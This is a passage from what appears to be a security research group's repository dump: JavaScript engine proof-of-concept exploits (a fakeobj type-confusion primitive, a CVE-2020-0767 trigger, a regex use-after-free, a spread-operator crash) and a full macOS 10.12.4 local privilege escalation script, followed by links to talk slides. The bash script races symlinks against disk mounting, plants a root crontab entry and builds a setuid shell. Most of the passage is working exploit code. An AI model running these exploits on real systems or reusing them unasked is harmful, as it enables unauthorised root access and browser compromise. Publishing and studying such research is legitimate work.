39 | 40 | for (let i = 0; i < 0x1000; i++) { 41 | opt(1); 42 | } 43 | 44 | evil = opt(0); 45 | evil[0] = 1.1; 46 | // evil is now a NativeFloatArray with a missing value but the engine does not know it 47 | 48 | 49 | function fakeobj(addr) { 50 | function opt2(victim, magic_arr, hax, addr){ 51 | let magic = magic_arr[1]; 52 | victim[0] = 1.1; 53 | hax[0x100] = magic; // change float Array to Var Array 54 | victim[0] = addr; // Store unboxed double to Var Array 55 | } 56 | 57 | for (let i = 0; i < 10000; i++){ 58 | let ary = [2,3,4,5,6.6,7,8,9]; 59 | delete ary[1]; 60 | opt2(ary, [1.1,2.2], ary, 1.1); 61 | } 62 | 63 | let victim = [1.1,2.2]; 64 | 65 | opt2(victim, evil, victim, i2f(addr)); 66 | return victim[0]; 67 | } 68 | print(fakeobj(0x12345670)); -------------------------------------------------------------------------------- /pocs/cve-2020-0767.js: -------------------------------------------------------------------------------- 1 | // PoC for CVE-2020-0767 by bkth 2 | function f(object) { 3 | object.__proto__ = {}; 4 | object.a; 5 | for (let i = 0; i < 50000; ++i) { 6 | object.a = 0x41414141; 7 | object.x = 1; 8 | try {} catch(e) {} finally {} 9 | } 10 | return () => object; 11 | } 12 | 13 | function trigger(f) { 14 | for (var i = 0; i < 160; i++) { 15 | f({a:1, b:2, c:3}); 16 | } 17 | hax = f({a:1, b:2, c:3, d:4})(); 18 | hax.x; 19 | } 20 | 21 | trigger(f); 22 | -------------------------------------------------------------------------------- /pocs/poc-cachedcall-uaf.js: -------------------------------------------------------------------------------- 1 | if (typeof(window) !== 'undefined') { 2 | print = function(msg) { 3 | console.log(msg); 4 | } 5 | } 6 | 7 | function i_want_to_break_free() { 8 | var n = 0x40000; 9 | var m = 10; 10 | var regex = new RegExp("(ab)".repeat(n), "g"); 11 | var part = "ab".repeat(n); 12 | var s = (part + "|").repeat(m); 13 | 14 | while (true) { 15 | var cnt = 0; 16 | var ary = []; 17 | 18 | s.replace(regex, function() { 19 | print('----------------------------------- ' + cnt + ' -----------------------------------'); 20 | for (var i = 1; i < arguments.length-2; ++i) { 21 | if (typeof arguments[i] !== 'string') { 22 | print("FOUND IT"); 23 | i_am_free = arguments[i]; 24 | throw "success"; 25 | } 26 | ary[cnt++] = arguments[i]; 27 | } 28 | return "x"; 29 | }); 30 | } 31 | } 32 | 33 | try { 34 | i_want_to_break_free(); 35 | } catch (e) { } 36 | print('OK'); 37 | print(typeof(i_am_free)); 38 | -------------------------------------------------------------------------------- /pocs/poc-mount.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # macOS 10.12.4 local privilege escalation exploit by @_niklasb 4 | # https://phoenhex.re/2017-06-09/pwn2own-diskarbitrationd-privesc 5 | 6 | if ! security authorize system.volume.internal.mount &>/dev/null; then 7 | echo 2>&1 "Cannot acquire system.volume.internal.mount right. This will not work." 8 | exit 1 9 | fi 10 | 11 | TARGET=/private/var/at 12 | SUBDIR=tabs 13 | DISK=/dev/disk0s1 14 | 15 | TMPDIR=/tmp/pwn 16 | mkdir -p $TMPDIR 17 | cd $TMPDIR 18 | 19 | cat << EOF > boom.c 20 | #include 21 | #include 22 | #include 23 | int main(int argc, char ** argv) { 24 | assert(argc == 2); 25 | setuid(0); 26 | setgid(0); 27 | system(argv[1]); 28 | } 29 | EOF 30 | clang boom.c -o _boom || exit 1 31 | 32 | race_link() { 33 | mkdir -p mounts 34 | 35 | while true; do 36 | ln -snf mounts link 37 | ln -snf $TARGET link 38 | done 39 | } 40 | 41 | race_mount() { 42 | while ! df -h | grep $TARGET >/dev/null; do 43 | while df -h | grep $DISK >/dev/null; do 44 | diskutil umount $DISK &>/dev/null 45 | done 46 | while ! df -h | grep $DISK >/dev/null; do 47 | diskutil mount -mountPoint $TMPDIR/link/$SUBDIR $DISK &>/dev/null 48 | done 49 | done 50 | } 51 | 52 | cleanup() { 53 | echo "Killing child process $PID and cleaning up tmp dir" 54 | kill -9 $PID 55 | rm -rf $TMPDIR 56 | } 57 | 58 | if df -h | grep $DISK >/dev/null; then 59 | echo 2>&1 "$DISK already mounted. Exiting." 60 | exit 1 61 | fi 62 | 63 | race_link & 64 | PID=$! 65 | trap cleanup EXIT 66 | echo "Just imagine having that root shell. It's gonna be legen..." 67 | race_mount 68 | 69 | echo "wait for it..." 70 | CMD="cp $TMPDIR/_boom $TMPDIR/boom; chmod u+s $TMPDIR/boom" 71 | rm -f /var/at/tabs/root 72 | echo "* * * * *" "$CMD" > /var/at/tabs/root 73 | 74 | while ! [ -e $TMPDIR/boom ]; do 75 | sleep 1 76 | done 77 | 78 | echo "dary!" 79 | kill -9 $PID 80 | sleep 0.1 81 | $TMPDIR/boom "rm /var/at/tabs/root" 82 | $TMPDIR/boom "umount -f $DISK" 83 | $TMPDIR/boom "rm -rf $TMPDIR; cd /; su" 84 | -------------------------------------------------------------------------------- /pocs/poc-spread.js: -------------------------------------------------------------------------------- 1 | a=new Array(0x7fffffff);[1,2,...a,...a]; 2 | -------------------------------------------------------------------------------- /slides/attacking-edge-through-js-compiler.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/phoenhex/files/a69214c126c7635b5d0d687fcd57d36f80c43021/slides/attacking-edge-through-js-compiler.pdf -------------------------------------------------------------------------------- /slides/chrome_ipc_exploitation_offensivecon19.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/phoenhex/files/a69214c126c7635b5d0d687fcd57d36f80c43021/slides/chrome_ipc_exploitation_offensivecon19.pdf -------------------------------------------------------------------------------- /slides/get_the_spidermonkey_off_your_back.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/phoenhex/files/a69214c126c7635b5d0d687fcd57d36f80c43021/slides/get_the_spidermonkey_off_your_back.pdf -------------------------------------------------------------------------------- /slides/thinking_outside_the_virtualbox.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/phoenhex/files/a69214c126c7635b5d0d687fcd57d36f80c43021/slides/thinking_outside_the_virtualbox.pdf -------------------------------------------------------------------------------- /slides/ub_to_rce.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/phoenhex/files/a69214c126c7635b5d0d687fcd57d36f80c43021/slides/ub_to_rce.pdf -------------------------------------------------------------------------------- /slides/unboxing_your_virtualboxes.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/phoenhex/files/a69214c126c7635b5d0d687fcd57d36f80c43021/slides/unboxing_your_virtualboxes.pdf --------------------------------------------------------------------------------